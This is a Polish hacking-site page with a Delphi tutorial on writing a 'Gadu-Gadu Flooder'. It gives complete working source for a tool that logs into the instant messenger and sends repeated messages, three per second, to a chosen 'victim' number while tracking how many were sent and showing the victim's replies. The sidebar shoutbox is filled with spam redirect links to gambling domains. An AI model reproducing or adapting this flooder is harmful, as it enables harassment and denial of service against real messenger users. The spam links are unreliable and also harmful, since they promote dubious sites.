Hacking  
  Luty 18 2018 10:04:37  
 
Nawigacja
folder Portal
. Artykuły
. Download
. Forum
. Szukaj
. FAQ
. Regulamin
folder Hacking
. Gry Hakerskie
. Filmy
folder Delphi
. Kursy
. Faq
. Źródła
. Komponenty
. Artykuły
folderWebmaster
. JavaScripts
. Skrypty PHP
folderRóżne
. Kontakt
. Zlokalizuj ip
Aktualnie online
. Gości online: 4

. Użytkowników online: 0

. Łącznie użytkowników: 154,338
. Najnowszy użytkownik: Essay Online
Ostatnie artykuły
. Metoda ataku symlin...
. Asembler x86 w pigułce
. Binder plików z komp...
. [Asembler/MASM] Pobi...
. Braifuck 4 fun
Nawigacja
Artykuły » Delphi artykuły » Jak napisać Gadu-Gadu Flooder
Jak napisać Gadu-Gadu Flooder

Gadu-Gadu Flooder



Powiem jak można łatwo prosto napisac Gadu-Gadu Flooder'a ! będzie to prosty flooder ktory będzie wysyłał 3 wiadomosci na sekunde ofiaze ! ok więc zaczynamy !

Wklej na form te komponenty :
-edit (name:numer)
-edit (name:haslo)
-edit (name:ofiara)
-edit (name:wiadomosc)
-timer (name:timer)
-label (name:ilosc)
-button (name:polacz caption:polacz)
-button (name:rozlacz caption:rozlacz)
-button (name:start caption:start)
-button (name:stop caption:stop)
-hgg (name:gg)
-memo (name:odbiur)

Wszystkie te komponenty są juz na starcie w delphi oprócz hgg mozesz go pobrać na stronie Hackme.pl

Ok !

Kliknij dwa razy na button (polacz) i wpisz :

Kod:

gg.Number:=strtoint(numer.Text);
gg.Password:=haslo.Text;
gg.Connect(500);
ofiara.enabled:=false;


Kliknij dwa razy na button (rozlacz) i wpisz :

Kod:

gg.Status:=0;
ofiara.enabled:=true;


Klikamy dwa razy na forme (form1) i wpisujemy :

Kod:

timer.enabled:=false;


Klikamy 2 razy na button (start) i wpisujemy :

Kod:

timer.enabled:=true;


Klikamy 2 razy na button (stop) i wpisujemy :

Kod:

timer.enabled:=false;


Kliknij dwa razy na timera (timer) i wpisz :

Kod:

timer.Enabled:=false;
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
a:=strtoint(ilosc.caption);
a:=a+3;
timer.Enabled:=true;


Teraz kliknij raz na Thgg (gg) i w Object Inspector wejdz w zakładke Events i tam masz na liscie OnMessage kliknij na to 2 razy i wpisz :

Kod:

if (ggnumber=strtoint(ofiara.Text)) then
begin
odbiur.lines.add('Ofiara : '+MessageContent);
end


ok ! i to juz jest koniec !

Wszystko powinno wyglądac tak :

Kod:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, HGG,
ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
polacz: TButton;
rozlacz: TButton;
numer: TEdit;
haslo: TEdit;
ofiara: TEdit;
wiadomosc: TEdit;
ilosc: TLabel;
Timer: TTimer;
start: TButton;
stop: TButton;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
gg: THGG;
odbiur: TMemo;
Label6: TLabel;
procedure polaczClick(Sender: TObject);
procedure rozlaczClick(Sender: TObject);
procedure TimerTimer(Sender: TObject);
procedure ggMessage(Sender: TObject; GGNumber: Integer;
MessageContent: String; MessageTime: TDateTime);
procedure startClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure stopClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
a:integer;

implementation

{$R *.dfm}

procedure TForm1.polaczClick(Sender: TObject);
begin
gg.Number:=strtoint(numer.Text);
gg.Password:=haslo.Text;
gg.Connect(500);
ofiara.enabled:=false;
end;

procedure TForm1.rozlaczClick(Sender: TObject);
begin
gg.Status:=0;
ofiara.enabled:=true;
end;

procedure TForm1.TimerTimer(Sender: TObject);
begin
timer.Enabled:=false;
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
gg.SendMessage(strtoint(ofiara.text),wiadomosc.Text);
a:=strtoint(ilosc.caption);
a:=a+3;
timer.Enabled:=true;
end;

procedure TForm1.ggMessage(Sender: TObject; GGNumber: Integer;
MessageContent: String; MessageTime: TDateTime);
begin
if (ggnumber=strtoint(ofiara.Text)) then
begin
odbiur.lines.add('Ofiara : '+MessageContent);
end
end;

procedure TForm1.startClick(Sender: TObject);
begin
timer.Enabled:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
timer.enabled:=false;
end;

procedure TForm1.stopClick(Sender: TObject);
begin
timer.Enabled:=false;
end;

end.


Teraz nasz Gadu-Gadu Flooder potrafi :
-Połączyc się :P
-rozłączyc się :P
-wysyłac 3 wiadomosci (ktore sam wybierasz) na numer ofiary (sam wybierasz).
-Jest opcjia Start i Stop
-Mozesz odczytac wiadomosc co do ciebie pisze ofiara
-Jest licznik ile wiadomosci zostało wysłanych
Logowanie
Nazwa użytkownika

Hasło



Nie masz jeszcze konta?
Zarejestruj się

Nie możesz się zalogować?
Poproś o nowe hasło
Shoutbox
Musisz zalogować się, aby móc dodać wiadomość.

18-02-2018 09:19
http://images.goog
le.co.ve/url?q=htt
p://slotswall.ru http://maps.google
.com.vn/url?q=http
://ninjaslots.ru http://eezzoo.net/
__media__/js/netso
ltrademark.php?d=s
lotswall.ru http://www.safethi
tch.net/__

18-02-2018 07:34
http://nemi.pw/?ht
tp://slotsmotion.r
u http://egorlykraio
n.ru/go.php?url=ht
tp://ninjaslots.gq
https://trueproxy.
net/?https://slots
trust.ru http://ads.macdesk
tops.com/openads/a
dclick.php?banneri
d=59&

18-02-2018 05:54
http://www.shankwh
olesalers.com/admi
n/Portal/LinkClick
.aspx?tabid=39&link
=http://trislots.r
u http://paranoid.co
m/__media__/js/net
soltrademark.php?d
=slotshappy.ru http://www.courtne
ythornesmith.com

18-02-2018 04:16
http://143offroad.
com/__media__/js/n
etsoltrademark.php
?d=ninjaslots.ml http://maps.google
.so/url?q=http://s
lotsplus.ru http://www.altener
gy-pro.com/__media
__/js/netsoltradem
ark.php?d=trislots
.ru http:

18-02-2018 00:12
http://www.salonwa
nd.net/__media__/j
s/netsoltrademark.
php?d=insurtopusa.
com http://jobsmain.co
m/__media__/js/net
soltrademark.php?d
=ninjaslots.ru http://cewekmontok
.com/__media__/js/
netsoltrademark.ph
p

Licznik
32,343,284 unikalne wizyty